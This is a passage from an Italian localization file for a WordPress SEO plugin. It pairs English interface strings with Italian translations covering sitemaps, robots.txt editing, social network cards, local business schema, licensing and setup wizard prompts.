Snippet'=>'Max caratteri snippet','Robots meta:'=>'Robots meta:','Dismissed Notifications'=>'Notifiche ignorate','All taxonomies are set to noindex or your site does not have any taxonomies registered that are supported by this feature.'=>'Tutte le tassonomie sono impostate su noindex oppure il tuo sito non ha registrato alcuna tassonomia supportata da questa funzione.','All post types are set to noindex or your site does not have any post types registered that are supported by this feature.'=>'Tutti i tipi di post sono impostati su noindex oppure sul tuo sito non è stato registrato alcun tipo di post supportato da questa funzione.','No taxonomies available.'=>'Non sono disponibili tassonomie.','No post types available.'=>'Non ci sono post type disponibili.','Slug:'=>'Slug:','Label:'=>'Etichetta:','a few seconds ago'=>'qualche secondo fa','years ago'=>'qualche anno fa','a year ago'=>'un anno fa','months ago'=>'mesi fa','a month ago'=>'un mese fa','days ago'=>'giorni fa','a day ago'=>'un giorno fa','minutes ago'=>'minuti fa','a minute ago'=>'un minuto fa','See Dismissed Notifications'=>'Visualizza le notifiche respinte','You have no new notifications.'=>'Non ci sono nuove notifiche.','Great Scott! Where\'d they all go?'=>'Grande Giove! Dove sono finiti tutti?','Show Less'=>'Mostra di meno','Show More'=>'Mostra di più','Custom separator:'=>'Separatore personalizzato:','Analyzing...'=>'Analisi in corso...','off'=>'off','Price Indicator'=>'Indicatore di prezzo','Tax ID:'=>'Codice fiscale:','Phone number'=>'Numero di telefono','Warnings'=>'Avvisi','An error occurred while analyzing your site.'=>'Si è verificato un errore durante l\'analisi del tuo sito.','Your Username:'=>'Il tuo nome utente:','Use the same username for multiple social networks'=>'Usa lo stesso nome utente per più social network','Your MySpace URL is invalid. Please check the format and try again.'=>'Il tuo URL MySpace non è valido. Controlla il formato e riprova.','Your Wikipedia URL is invalid. Please check the format and try again.'=>'L\'URL di Wikipedia non è valido. Controlla il formato e riprova.','Your SoundCloud URL is invalid. Please check the format and try again.'=>'Il tuo URL SoundCloud non è valido. Controlla il formato e riprova.','Your Yelp URL is invalid. Please check the format and try again.'=>'Il tuo URL Yelp non è valido. Controlla il formato e riprova.','Your Tumblr URL is invalid. Please check the format and try again.'=>'Il tuo URL di Tumblr non è valido. Controlla il formato e riprova.','Your LinkedIn URL is invalid. Please check the format and try again.'=>'L\'URL di LinkedIn non è valido. Controlla il formato e riprova.','Your YouTube URL is invalid. Please check the format and try again.'=>'L\'URL di YouTube non è valido. Controlla il formato e riprova.','Your Pinterest URL is invalid. Please check the format and try again.'=>'L\'URL di Pinterest non è valido. Controlla il formato e riprova.','Your Instagram URL is invalid. Please check the format and try again.'=>'L\'URL di Instagram non è valido. Controlla il formato e riprova.','Your X (Twitter) URL is invalid. Please check the format and try again.'=>'Il tuo URL di X (Twitter) non è valido. Verifica il formato e riprova.','Your Facebook URL is invalid. Please check the format and try again.'=>'L\'URL di Facebook non è valido. Controlla il formato e riprova.','upgrading to %1$s'=>'aggiornamento a %1$s','Free'=>'Gratis','The geographic area where a service or offered item is provided.'=>'L\'area geografica in cui viene fornito un servizio o un articolo offerto.','Custom Field Support'=>'Supporto per i campi personalizzati','Open Video Sitemap'=>'Apri la sitemap video','Exclude Pages/Posts'=>'Escludi pagine/articoli','Set Publication Name'=>'Imposta il nome della pubblicazione','Open News Sitemap'=>'Apri la Sitemap News','HTML Sitemap'=>'Sitemap HTML','%1$s has an intuitive setup wizard to guide you through the setup process.'=>'%1$s include un\'intuitiva procedura guidata che ti accompagna nel processo di configurazione.','Universal Tracking for AMP and Instant Articles'=>'Tracciamento universale per AMP e Instant Articles','Google Analytics Enhanced Ecommerce Tracking'=>'Tracciamento ecommerce migliorato di Google Analytics','Google Analytics Dashboard + Real Time Stats'=>'Bacheca di Google Analytics + Statistiche in tempo reale','Quick & Easy Google Analytics Setup'=>'Configurazione facile e veloce di Google Analytics','The Best Google Analytics Plugin for WordPress'=>'Il miglior plugin di Google Analytics per WordPress','%1$s shows you exactly which content gets the most visits, so you can analyze and optimize it for higher conversions.'=>'%1$s ti mostra esattamente quali sono i contenuti che ricevono più visite, in modo che tu possa analizzarli e ottimizzarli per ottenere conversioni più elevate.','%1$s connects %2$s to Google Analytics, providing a powerful integration. %1$s is a partner of %2$s.'=>'%1$s collega %2$s a Google Analytics, fornendo una potente integrazione. %1$s è un partner di %2$s.','Launch Setup Wizard'=>'Avvia l\'installazione guidata','%1$s %2$s lets you set the SEO title and description for custom taxonomies. You can also control all of the robots meta and other options just like the default category and tags taxonomies.'=>'%1$s %2$s ti permette di impostare il titolo e la descrizione SEO per le tassonomie personalizzate. Puoi anche controllare tutti i meta robot e altre opzioni, come le tassonomie predefinite di categorie e tag.','Click on the tags below to insert variables into your title.'=>'Fai clic sui tag sottostanti per inserire le variabili nel tuo titolo.','Show in Search Results'=>'Mostra nei risultati di ricerca','Allows you to specify the maximum number of posts for the RSS Sitemap. We recommend an amount of 50 posts.'=>'Permette di specificare il numero massimo di articoli per la sitemap RSS. Ti consigliamo di indicare un numero di 50 articoli.','Open RSS Sitemap'=>'Apri la Sitemap RSS','Number of Posts'=>'Numero di articoli','This option will generate a separate RSS Sitemap which can be submitted to Google, Bing and any other search engines that support this type of sitemap. The RSS Sitemap contains an RSS feed of the latest updates to your site content. It is not a full sitemap of all your content.'=>'Questa opzione genera una Sitemap RSS separata che può essere inviata a Google, Bing e a tutti gli altri motori di ricerca che supportano questo tipo di sitemap. La Sitemap RSS contiene un feed RSS degli ultimi aggiornamenti dei contenuti del tuo sito. Non è una sitemap completa di tutti i tuoi contenuti.','Press enter to create a keyword'=>'Premi invio per creare una parola chiave','Enable Schema Markup'=>'Abilita il markup Schema','Google, Bing and other search engines use specific data from your schema markup to output data in their Knowledge Panels. This data is known as the Knowledge Graph. Use these settings to change how that data looks.'=>'Google, Bing e altri motori di ricerca usano i dati specifici del tuo markup Schema per produrre dati nei loro Knowledge Panel. Questi dati sono noti come Knowledge Graph. Usa queste impostazioni per modificare l\'aspetto di questi dati.','Knowledge Graph'=>'Knowledge Graph','Home Page'=>'Homepage','Separator Character'=>'Simbolo separatore','Title Separator'=>'Separatore per i titoli','Show %1$s Meta Box'=>'Mostra %1$s Meta Box','Show %1$s Thumbnail in Google Custom Search'=>'Mostra l\'anteprima di %1$s nella ricerca personalizzata di Google','%1$s Title'=>'Titolo %1$s','Show Date in Google Preview'=>'Mostra la data nell\'anteprima di Google','Other Options'=>'Altre opzioni','Read Only'=>'Solo lettura','Bulk Editing'=>'Modifica in blocco','Robots Meta Settings'=>'Impostazioni Robots Meta','This feature requires one of the following plans:'=>'Questa funzione richiede uno dei seguenti piani:','Schema Markup'=>'Markup Schema','We recommended redirecting attachment URLs back to the attachment since the default WordPress attachment pages have little SEO value.'=>'Ti consigliamo di reindirizzare gli URL degli allegati agli allegati stessi perché le pagine predefinite degli allegati di WordPress hanno uno scarso valore SEO.','Attachment Parent'=>'Allegato principale','Attachment'=>'Allegato','Redirect Attachment URLs'=>'Reindirizza gli URL degli allegati','%1$s %2$s gives you advanced customizations for our page analysis feature, letting you add custom fields to analyze.'=>'%1$s %2$s include personalizzazioni avanzate per la funzionalità di analisi delle pagine e ti permette di aggiungere campi personalizzati da analizzare.','The ExactMetrics Google Analytics for WordPress plugin helps you properly setup all the powerful Google Analytics tracking features without writing any code or hiring a developer.'=>'Il plugin ExactMetrics Google Analytics for WordPress ti aiuta a configurare correttamente tutte le potenti funzioni di monitoraggio di Google Analytics senza dover mai scrivere codice o assumere qualcuno che lo sappia fare.','Deactivated'=>'Disattivato','Status:'=>'Stato:','Manage'=>'Gestisci','The %1$s Team'=>'Il team di %1$s','%1$s is brought to you by %2$s, the same team that’s behind the largest WordPress resource site, WPBeginner, the most popular lead-generation software, OptinMonster, the best WordPress analytics plugin, MonsterInsights and many more.'=>'%1$s è un prodotto di %2$s, lo stesso team dietro al più grande sito di risorse per WordPress, WPBeginner, al più famoso software di lead-generation, OptinMonster, al miglior plugin di analisi per WordPress, MonsterInsights e a molti altri.','Our Google News Sitemap lets you control which content you submit to Google News and only contains articles that were published in the last 48 hours. In order to submit a News Sitemap to Google, you must have added your site to Google’s Publisher Center and had it approved.'=>'La nostra Sitemap di Google News ti permette di controllare quali contenuti inviare a Google News e contiene solo articoli pubblicati nelle ultime 48 ore. Per poter inviare una Sitemap di News a Google, devi aver aggiunto il tuo sito al Centro editori di Google e averlo approvato.','The Video Sitemap works in much the same way as the XML Sitemap module, it generates an XML Sitemap specifically for video content on your site. Search engines use this information to display rich snippet information in search results.'=>'La Sitemap Video funziona in modo molto simile al modulo Sitemap XML: genera una Sitemap XML specifica per i contenuti video del tuo sito. I motori di ricerca utilizzano queste informazioni per visualizzare i rich snippet nei risultati di ricerca.','Globally control the Title attribute and Alt text for images in your content. These attributes are essential for both accessibility and SEO.'=>'Controlla a livello globale l\'attributo Title e il testo Alt delle immagini presenti nei tuoi contenuti. Questi attributi sono essenziali sia per l\'accessibilità che per la SEO.','Purchase License'=>'Acquista la licenza','Enter License Key'=>'Inserisci la chiave di licenza','A valid license key is required in order to use our addons.'=>'Per usare i nostri addon è necessaria una chiave di licenza valida.','Upgrade %1$s to Pro and Unlock all Features!'=>'Passa a %1$s Pro e sblocca tutte le funzionalità!','Search for Features...'=>'Cerca le caratteristiche...','Deactivate All Features'=>'Disattiva tutte le funzionalità','Activate All Features'=>'Attiva tutte le funzionalità','You have %1$s more notifications'=>'Hai %1$s ulteriori notifiche','Relaunch Setup Wizard'=>'Rilancia l\'installazione guidata','Dismiss All'=>'Ignora tutto','Upgrade to %1$s and Save %2$s'=>'Passa a %1$s e risparmia il %2$s','Get more features in %1$s %2$s:'=>'Ottieni più funzionalità in %1$s %2$s:','Manage all of your sitemap settings, including XML, Video, News and more.'=>'Gestisci tutte le impostazioni delle tue sitemap, tra cui XML, Video, News e molto altro.','Fine-tune your site with our powerful tools including Robots.txt editor, import/export and more.'=>'Perfeziona il tuo sito con i nostri potenti strumenti, tra cui l\'editor Robots.txt, l\'importazione/esportazione e molto altro.','Setup Open Graph for Facebook, X (Twitter), etc. to show the right content / thumbnail preview.'=>'Configurazione di Open Graph per Facebook, X (Twitter), ecc. per mostrare i contenuti giusti/l\'anteprima della miniatura.','Improve local SEO rankings with schema for business address, open hours, contact, and more.'=>'Migliora il posizionamento SEO locale con lo Schema per l\'indirizzo dell\'azienda, gli orari di apertura, i contatti e altro ancora.','Check how your site scores with our SEO analyzer and compare against your competitor\'s site.'=>'Controlla il punteggio del tuo sito con il nostro strumento di analisi SEO e confrontalo con quello dei tuoi concorrenti.','Configure how your website content will look in Google, Bing and other search engines.'=>'Configura l\'aspetto dei contenuti del tuo sito web in Google, Bing e altri motori di ricerca.','You can use these quicklinks to quickly access our settings pages to adjust your site\'s SEO settings.'=>'Puoi utilizzare questi collegamenti rapidi per accedere rapidamente alle nostre pagine di impostazioni per regolare le impostazioni SEO del tuo sito.','Quicklinks'=>'Link rapidi','SEO Site Score'=>'Punteggio SEO del sito','See all dismissed notifications.'=>'Visualizza tutte le notifiche chiuse.','There are no new notifications at this moment.'=>'Al momento non ci sono nuove notifiche.','It appears that your server is running on nginx, so the fix will most likely require adding the correct rewrite rules to our nginx configuration. %1$sCheck our documentation for more information%2$s.'=>'Sembra che il tuo server usi nginx, quindi la soluzione richiederà probabilmente l\'aggiunta delle corrette regole di riscrittura alla configurazione di nginx. %1$sDai un\'occhiata alla nostra documentazione per maggiori informazioni%2$s.','It appears that your server is running on %1$s, so the fix should be as simple as checking the %2$scorrect .htaccess implementation on wordpress.org%3$s.'=>'%2$sSembra che il tuo server sia in esecuzione su %1$s, quindi la correzione dovrebbe essere semplice come verificare la corretta implementazione di .htaccess su wordpress.org%3$s.','It looks like you are missing the proper rewrite rules for the robots.txt file.'=>'Sembra che manchino le corrette regole di riscrittura per il file robots.txt.','This site is running in a sub-directory of your main site located at %1$s. Your robots.txt file should only appear in the root directory of that site.'=>'Questo sito è in esecuzione in una sottodirectory del tuo sito principale che si trova all\'indirizzo %1$s. Il file robots.txt deve comparire solo nella directory principale del sito.','Import and Delete'=>'Importa ed elimina','%1$s has detected a physical robots.txt file in the root folder of your WordPress installation. We recommend removing this file as it could cause conflicts with WordPress\' dynamically generated one. %2$s can import this file and delete it, or you can simply delete it.'=>'%1$s ha rilevato un file robots.txt fisico nella cartella principale della tua installazione di WordPress. Ti consigliamo di rimuovere questo file perché potrebbe causare conflitti con quello generato dinamicamente da WordPress. Puoi scegliere se far importare questo file a %2$s e poi eliminarlo, oppure procedere direttamente con l\'eliminazione.','Open Robots.txt'=>'Apri il file Robots.txt','Delete Rule'=>'Elimina la regola','Enable Custom Robots.txt'=>'Abilita il file Robots.txt personalizzato','Just like WordPress, %1$s generates a dynamic file so there is no static file to be found on your server. The content of the robots.txt file is stored in your WordPress database.'=>'Proprio come fa WordPress, %1$s genera un file dinamico, quindi non troverai un file statico sul tuo server. Il contenuto del file robots.txt viene memorizzato nel database di WordPress.','The robots.txt editor in %1$s allows you to set up a robots.txt file for your site that will override the default robots.txt file that WordPress creates. By creating a robots.txt file with %2$s you have greater control over the instructions you give web crawlers about your site.'=>'L\'editor di robots.txt di %1$s ti permette di creare un file robots.txt per il tuo sito che sostituisce il file robots.txt predefinito creato da WordPress. Creando un file robots.txt con %2$s avrai un maggiore controllo sulle istruzioni che fornirai ai crawler del tuo sito.','Enable this option to show additional X data on your posts and pages (i.e., who the post was written by and how long it might take to read the article).'=>'Abilita questa opzione per mostrare ulteriori dati X sui tuoi articoli e sulle tue pagine (ad esempio, chi ha scritto il post e quanto tempo potrebbe essere necessario per leggere l\'articolo).','Additional Data'=>'Dati aggiuntivi','Card Type'=>'Tipo di scheda','Home Page Image'=>'Immagine della homepage','Minimum size: 300px x 157px, ideal ratio 2:1, 5MB max. JPG, PNG, WEBP and GIF formats only.'=>'Dimensioni minime: 300px x 157px. Rapporto ideale 2:1, max 5MB. Formati accettati: JPG, PNG, WEBP e GIF.','Minimum size: 144px x 144px, ideal ratio 1:1, 5MB max. JPG, PNG, WEBP and GIF formats only.'=>'Dimensione minima: 144px x 144px. Rapporto ideale 1:1, max 5MB. Formati accettati: JPG, PNG, WEBP e GIF.','Summary with Large Image'=>'Riepilogo con immagine grande','Default Card Type'=>'Tipo di scheda predefinito','Enable this feature if you want X to display a preview card with images and a text excerpt when a link to your site is shared.'=>'Abilita questa caratteristica se vuoi che X visualizzi una card di anteprima con immagini e un riassunto del testo quando viene condiviso un link al tuo sito.','X (Twitter) Card Settings'=>'Impostazioni della card di X (Twitter)','Pinterest Verification Code'=>'Codice di verifica Pinterest','If you have already confirmed your website with Pinterest, you can skip the step below.'=>'Se hai già verificato il tuo sito web con Pinterest, puoi saltare il passaggio che segue.','Learn how to get your Pinterest Verification Code'=>'Scopri come ottenere il tuo codice di verifica Pinterest','Pinterest uses Open Graph metadata just like Facebook, so be sure to keep Open Graph enabled on the Facebook tab checked if you want to optimize your site for Pinterest.'=>'Pinterest utilizza i metadati Open Graph proprio come Facebook, quindi assicurati di tenere abilitato Open Graph nella scheda Facebook se vuoi ottimizzare il tuo sito per Pinterest.','%1$sBonus:%2$s You can upgrade to the %3$s plan today and %4$ssave %5$s off%6$s (discount auto-applied).'=>'%1$sBonus:%2$s Puoi passare al piano %3$s oggi stesso e %4$srisparmiare il %5$s %6$s (lo sconto applicato automaticamente).','Features:'=>'Caratteristiche:','%1$s Lite vs. Pro'=>'%1$s Lite vs. Pro','Optimizing your Content Headings'=>'Ottimizza i titoli dei contenuti','Installing %1$s %2$s'=>'Installazione di %1$s %2$s','How to Control Search Results'=>'Come controllare i risultati della ricerca','Best Practices for Domains and URLs'=>'Migliori pratiche per domini e URL','Basic Guide to Google Search Console'=>'Guida di base a Google Search Console','Basic Guide to Google Analytics'=>'Guida di base a Google Analytics','See our full documentation'=>'Consulta la nostra documentazione completa','%1$s Documentation'=>'Documentazione %1$s','View all video tutorials'=>'Guarda tutti i video tutorial','Video Tutorials'=>'Video tutorial','Local SEO'=>'SEO locale','Smart Schema'=>'Schema smart','The log for the blocked bots is located here: %1$s'=>'Il log dei bot bloccati si trova qui: %1$s','Blocked Bots Log'=>'Registro dei bot bloccati','To let search engines know which profiles are associated with this user, enter them below:'=>'Fai sapere ai motori di ricerca quali profili sono associati a questo utente, inseriscili qui sotto:','Copied!'=>'Copiato!','Must-Use Plugins'=>'Plugin Must-Use','Server Info'=>'Info sul server','WordPress'=>'WordPress','Copy to Clipboard'=>'Copia negli appunti','Download System Info File'=>'Scarica il file delle informazioni di sistema','System Status Info'=>'Informazioni sullo stato del sistema','All %1$s Settings'=>'Tutte le impostazioni di %1$s','Clear Bad Bot Blocker Logs'=>'Cancella i registri di Bad Bot Blocker','Cleared'=>'Cancellato','Bad Bot Blocker Logs'=>'Registri di Bad Bot Blocker','Logs'=>'Registri','No, I need to make a backup'=>'No, devo fare un backup','Yes, I have a backup and want to reset the settings'=>'Sì, ho un backup e voglio ripristinare le impostazioni','This action cannot be undone. Before taking this action, we recommend that you make a %1$sfull website backup first%2$s.'=>'Questa azione non può essere annullata. Prima di eseguire questa azione, ti consigliamo di effettuare prima un %1$sbackup completo del sito web%2$s.','Are you sure you want to reset the selected settings to default?'=>'Confermi di voler ripristinare le impostazioni selezionate allo stato predefinito?','Your settings have been reset successfully!'=>'Le tue impostazioni sono state ripristinate con successo!','Select settings that you would like to reset:'=>'Seleziona le impostazioni che desideri ripristinare:','Select Settings'=>'Seleziona le impostazioni','Reset / Restore Settings'=>'Reimposta / Ripristina impostazioni','This allows you to edit the .htaccess file for your site. All WordPress sites on an Apache server have a .htaccess file and we have provided you with a convenient way of editing it. Care should always be taken when editing important files from within WordPress as an incorrect change could cause WordPress to become inaccessible. %1$sBe sure to make a backup before making changes and ensure that you have FTP access to your web server and know how to access and edit files via FTP.%2$s'=>'Questo ti permette di modificare il file .htaccess del tuo sito. Tutti i siti WordPress su un server Apache hanno un file .htaccess e noi ti abbiamo fornito un modo pratico per modificarlo. Bisogna sempre prestare attenzione quando si modificano file importanti dall\'interno di WordPress, poiché una modifica errata potrebbe rendere WordPress inaccessibile. %1$sAssicurati di effettuare un backup prima di apportare modifiche e assicurati di avere accesso FTP al tuo server web e di sapere come accedere e modificare i file tramite FTP.%2$s','Complete documentation on usage tracking is available %1$shere%2$s.'=>'Leggi la %1$sdocumentazione sul monitoraggio dell\'utilizzo%2$s.','Purchase and Install Now'=>'Acquista e installa ora','I\'ll do it later'=>'Lo farò più tardi','You won\'t have access to this functionality until the extensions have been purchased and installed.'=>'Avrai accesso a questa funzionalità solo dopo aver acquistato e installato le estensioni.','An upgrade is required to unlock the following features.'=>'Per sbloccare le seguenti funzioni è necessario un aggiornamento.','Would you like to purchase and install the following features now?'=>'Vuoi acquistare e installare subito le seguenti funzioni?','Yes, count me in'=>'Sì, contate su di me','Help make %1$s better for everyone'=>'Contribuisci a rendere %1$s migliore per tutti','Your email is needed so you can receive SEO recommendations. This email will also be used to connect your site with our SEO API.'=>'La tua email è necessaria per poter ricevere i consigli sulla SEO. L\'email verrà utilizzata anche per collegare il tuo sito alla nostra API SEO.','Your Email Address'=>'Il tuo indirizzo email','Get helpful suggestions from %1$s on how to optimize your website content, so you can rank higher in search results.'=>'Ottieni suggerimenti utili da %1$s su come ottimizzare i contenuti del tuo sito web e ottenere così un migliore posizionamento nei risultati della ricerca.','Setup Site Analyzer + Smart Recommendations'=>'Imposta lo strumento di analisi del sito e le raccomandazioni smart','Redirect attachment pages?'=>'Vuoi reindirizzare le pagine degli allegati?','Do you have multiple authors?'=>'Hai più autori?','Live Site'=>'Sito live','Under Construction'=>'In costruzione','Is the site under construction or live (ready to be indexed)?'=>'Il sito è in costruzione o già live (pronto per essere indicizzato)?','Click on the tags below to insert variables into your meta description.'=>'Fai clic sui tag sottostanti per inserire le variabili nella tua meta descrizione.','Click on the tags below to insert variables into your site title.'=>'Fai clic sui tag sottostanti per inserire le variabili nel titolo del tuo sito.','Edit Title and Description'=>'Modifica il titolo e la descrizione','The way your site is displayed in search results is very important. Take some time to look over these settings and tweak as needed.'=>'Il modo in cui il tuo sito viene visualizzato nei risultati di ricerca è molto importante. Prenditi un po\' di tempo per esaminare queste impostazioni e modificale se necessario.','By default SEO Editors have access to %1$sSEO settings for individual pages and posts.%2$s'=>'Per impostazione predefinita, gli editor SEO hanno accesso alle %1$simpostazioni SEO per le singole pagine e gli articoli.%2$s','By default Authors have access to %1$sSEO settings for individual pages and posts that they already have permission to edit.%2$s'=>'Per impostazione predefinita, chi ha il ruolo di Autore può accedere alle %1$simpostazioni SEO per le singole pagine e gli articoli per cui ha già i permessi di modifica.%2$s','By default Editors have access to %1$sSEO settings for General Settings, Search Appearance, Social Networks, and Redirects as well as all settings for individual pages and posts.%2$s'=>'Per impostazione predefinita, le persone con ruolo di Editor hanno accesso alle %1$simpostazioni SEO nelle sezioni Impostazioni generali, Aspetto della ricerca, Social network e Reindirizzamenti, oltre a tutte le impostazioni per le singole pagine e gli articoli.%2$s','By default Admins have access to %1$sall SEO site settings%2$s'=>'Per impostazione predefinita, gli amministratori hanno accesso a %1$stutte le impostazioni SEO del sito%2$s','SEO Editor'=>'Editor SEO','SEO Manager'=>'SEO Manager','Editor'=>'Editore','Administrator'=>'Amministratore','Access Control Settings'=>'Impostazioni di controllo degli accessi','An error occurred while activating the addon. Please upload it manually or contact support for more information.'=>'Si è verificato un errore durante l\'attivazione dell\'addon. Caricalo manualmente o contatta l\'assistenza per maggiori informazioni.','Select your timezone'=>'Seleziona il tuo fuso orario','Your license has expired.'=>'La tua licenza è scaduta.','You have not yet added a valid license key.'=>'Non hai ancora aggiunto una chiave di licenza valida.','Your license key is invalid.'=>'La chiave di licenza non è valida.','Your license has been disabled.'=>'La tua licenza è stata disattivata.','%1$s out of %2$s max recommended characters.'=>'%1$s su %2$s caratteri massimi consigliati.','Active Notifications'=>'Notifiche attive','New Notifications'=>'Nuove notifiche','Travel Agency'=>'Agenzia di viaggi','Tourist Information Center'=>'Centro informazioni turistiche','Television Station'=>'Stazione televisiva','Score'=>'Punteggio','Sports Activity Location'=>'Posizione attività sportive','Shopping Center'=>'Centro commerciale','Self Storage'=>'Auto-archiviazione','Recycling Center'=>'Centro di smaltimento','Real Estate Agent'=>'Agente immobiliare','Radio Station'=>'Stazione radio','Medical Business'=>'Settore medico','Lodging Business'=>'Attività ricettiva','Library'=>'Biblioteca','Legal Service'=>'Servizi legali','Internet Cafe'=>'Internet Cafe','Home & Construction Business'=>'Impresa di edilizia','Health & Beauty Business'=>'Attività di salute e bellezza','Government Office'=>'Ufficio governativo','Food Establishment'=>'Stabilimento alimentare','Financial Service'=>'Servizio finanziario','Entertainment Business'=>'Attività di intrattenimento','Employment Agency'=>'Agenzia per il lavoro','Emergency Service'=>'Servizio di emergenza','Dry Cleaning/Laundry'=>'Lavanderia','Dentist'=>'Dentista','Childcare'=>'Assistenza all\'infanzia','Automotive Business'=>'Settore automobilistico','Archive Organization'=>'Organizzazione archivio','Area Served'=>'Area servita','Payment Info'=>'Info sul pagamento','Multiple Locations'=>'Sedi multiple','Local Business schema markup enables you to tell Google about your business, including your business name, address and phone number, opening hours and price range. This information may be displayed as a Knowledge Graph card or business carousel.'=>'Il markup Schema Business Locale ti consente di dare a Google informazioni sulla tua attività commerciale, tra cui il nome dell\'azienda, l\'indirizzo e il numero di telefono, gli orari di apertura e la fascia di prezzo. Queste informazioni possono essere visualizzate come una scheda del Knowledge Graph o un carosello business.','All Good!'=>'Tutto ok!','Complete Site Audit Checklist'=>'Checklist completa per l\'audit del sito','Save and Continue'=>'Salva e continua','Go Back'=>'Torna indietro','Skip this Step'=>'Salta questo passaggio','Default Image Source (Set in Social Networks)'=>'Sorgente immagine predefinita (impostata in Social network)','Attached Image'=>'Immagine allegata','Default Image (Set Below)'=>'Immagine predefinita (impostata di seguito)','Choose Image'=>'Scegli l\'immagine','to see your Site Score.'=>'per vedere il punteggio del tuo sito.','Excellent!'=>'Ottimo!','Very Good!'=>'Molto bene!','Needs%1$sImprovement!'=>'Necessita di%1$smiglioramento!','We\'ve got some%1$swork to do!'=>'Abbiamo del%1$slavoro da fare!','A valid license key is required'=>'È necessaria una chiave di licenza valida','to analyze a competitor site.'=>'per analizzare il sito di un concorrente.','Other:'=>'Altro:','Portfolio'=>'Portfolio','Corporation'=>'Grande azienda','Small Offline Business'=>'Piccola impresa offline','Online Store'=>'Negozio online','News Channel'=>'Canale News','Media Description'=>'Descrizione dei media','Home Page Title'=>'Titolo della homepage','Enter your answer'=>'Inserisci la tua risposta','Select a category to help us narrow down the SEO options that work best for you and your site.'=>'Seleziona una categoria per aiutarci a identificare le opzioni SEO più adatte a te e al tuo sito.','Which category best describes your website?'=>'Quale categoria descrive meglio il tuo sito web?','We have already selected our recommended features based on your site category, but you can use the following features to fine-tune your site.'=>'Abbiamo già selezionato le funzioni consigliate in base alla categoria del tuo sito, ma puoi usare anche queste per perfezionare la selezione.','Which SEO features do you want to enable?'=>'Quali funzioni SEO vuoi attivare?','The following plugins and %1$s addons will be installed: %2$s'=>'Verranno installati i seguenti plugin e %1$s add-on: %2$s','The following %1$s addons will be installed: %2$s'=>'Verranno installati i seguenti %1$s add-on: %2$s','The following plugins will be installed: %1$s'=>'Verranno installati i seguenti plugin: %1$s','Animal Shelter'=>'Rifugio per animali','Contact Page URL:'=>'URL della pagina di contatto:','About Page URL:'=>'URL della pagina About:','Website URL:'=>'URL del sito web:','Your name or company name.'=>'Il tuo nome o il nome della tua azienda.','name'=>'nome','Business Info'=>'Informazioni aziendali','Import Data and Continue'=>'Importa i dati e continua','We have detected other SEO plugins installed on your website. Select which plugins you would like to import data to %1$s.'=>'Abbiamo rilevato altri plugin SEO installati sul tuo sito web. Seleziona per quali plugin desideri importare i dati in %1$s.','Import data from your current plugins'=>'Importa i dati dei tuoi plugin attuali','Your static sitemap is currently being regenerated. This may take some time based on the size of your site. This may also cause the sitemap content to look outdated.'=>'La tua sitemap statica è in fase di rigenerazione. Questa operazione potrebbe richiedere del tempo in base alle dimensioni del tuo sito. Inoltre, il contenuto della sitemap potrebbe risultare obsoleto.','We recommend setting the amount of URLs per sitemap index to 1,000 or less. The more links, the longer it will take for the sitemap to load.'=>'Ti consigliamo di indicare un massimo di 1000 URL per l\'indice sitemap. Più link ci sono, più tempo ci vorrà per caricare la sitemap.','Taxonomy Priority Score'=>'Punteggio di priorità della tassonomia','Post Type Priority Score'=>'Punteggio di priorità del post type','Grouped'=>'Raggruppati','Any posts that are assigned to these terms will also be excluded from your sitemap.'=>'Tutti i post assegnati a questi termini saranno esclusi anche dalla tua sitemap.','Include All Taxonomies'=>'Includi tutte le tassonomie','Author Sitemap'=>'Sitemap autori','Date Archive Sitemap'=>'Sitemap archivio date','Automatically Ping Search Engines'=>'Ping automatico dei motori di ricerca','Open Sitemap'=>'Apri la Sitemap','Do you get a blank sitemap or 404 error?'=>'Stai vedendo una sitemap vuota o un errore 404?','Noindexed content will not be displayed in your sitemap.'=>'I contenuti non indicizzati non verranno visualizzati nella sitemap.','Links Per Sitemap'=>'Link per sitemap','Enable Sitemap'=>'Abilita la sitemap','An XML Sitemap is a list of all your content that search engines use when they crawl your site. This is an essential part of SEO because it contains some important pieces of information that search engines need when crawling your site. The XML Sitemap created by %1$s tells search engines where to find all of the content on your site.'=>'Una sitemap XML è un elenco di tutti i tuoi contenuti che i motori di ricerca usano quando effettuano il crawling del tuo sito. Si tratta di una parte essenziale della SEO perché contiene alcune importanti informazioni di cui i motori di ricerca hanno bisogno quando scansionano il tuo sito. La sitemap XML creata da %1$s indica ai motori di ricerca dove trovare tutti i contenuti del tuo sito.','Granular controls per role'=>'Controlli granulari per ruolo','Default settings that just work'=>'Impostazioni predefinite che funzionano','SEO Editor Role'=>'Ruolo di Editor SEO','SEO Manager Role'=>'Ruolo di SEO Manager','WP Roles (Editor, Author)'=>'Ruoli WP (Editore, Autore)','Enter your %1$s License Key'=>'Inserisci la tua chiave di licenza %1$s','Already purchased? Simply enter your license key below to connect with %1$s!'=>'Hai già realizzato l\'acquisto? Inserisci la tua chiave di licenza qui sotto per collegarti a %1$s!','To unlock the selected features, please %1$s and enter your license key below.'=>'Per sbloccare le funzioni selezionate, %1$s e inserisci la tua chiave di licenza qui sotto.','To unlock the selected features, please enter your license key below.'=>'Per sbloccare le funzioni selezionate, inserisci la tua chiave di licenza qui sotto.','upgrade to %1$s'=>'passa a %1$s','Sitemaps'=>'Sitemap','Social Networks'=>'Social network','Export All Post Types'=>'Esporta tutti i post type','Export All Settings'=>'Esporta tutte le impostazioni','We do not support importing from the currently installed version of %1$s (%2$s). Please upgrade to the latest version and try again.'=>'Non supportiamo l\'importazione dalla versione attualmente installata di %1$s (%2$s). Aggiorna alla versione più recente e riprova.','An error occurred while importing %1$s. Please try again.'=>'Si è verificato un errore durante l\'importazione di %1$s. Riprova.','%1$s was successfully imported!'=>'%1$s è stato importato con successo!','Term Meta'=>'Termine Meta','Post Meta'=>'Post Meta','not installed'=>'non installato','All Settings'=>'Tutte le impostazioni','Select a plugin...'=>'Seleziona un plugin...','Choose a plugin to import SEO data directly into %1$s.'=>'Scegli un plugin per importare i dati SEO direttamente in %1$s.','Import Settings From Other Plugins'=>'Importa le impostazioni da altri plugin','A Description tag is required in order to properly display your meta descriptions on your site.'=>'Il tag Description è necessario per visualizzare correttamente le meta-descrizioni sul tuo sito.','Choose whether %1$s should output the required schema markup that Google needs to generate a sitelinks search box.'=>'Scegli se %1$s deve inserire il markup Schema richiesto da Google per generare un box di ricerca per i sitelink.','Enable Sitelinks Search Box'=>'Abilita la casella di ricerca Sitelink','Dynamically Generate Meta Keywords'=>'Genera dinamicamente le meta-parole chiave','Use Meta Keywords'=>'Usa Meta Keywords','Remove Category Base Prefix'=>'Rimuovi il prefisso di base della categoria','Global Robots Meta'=>'Meta 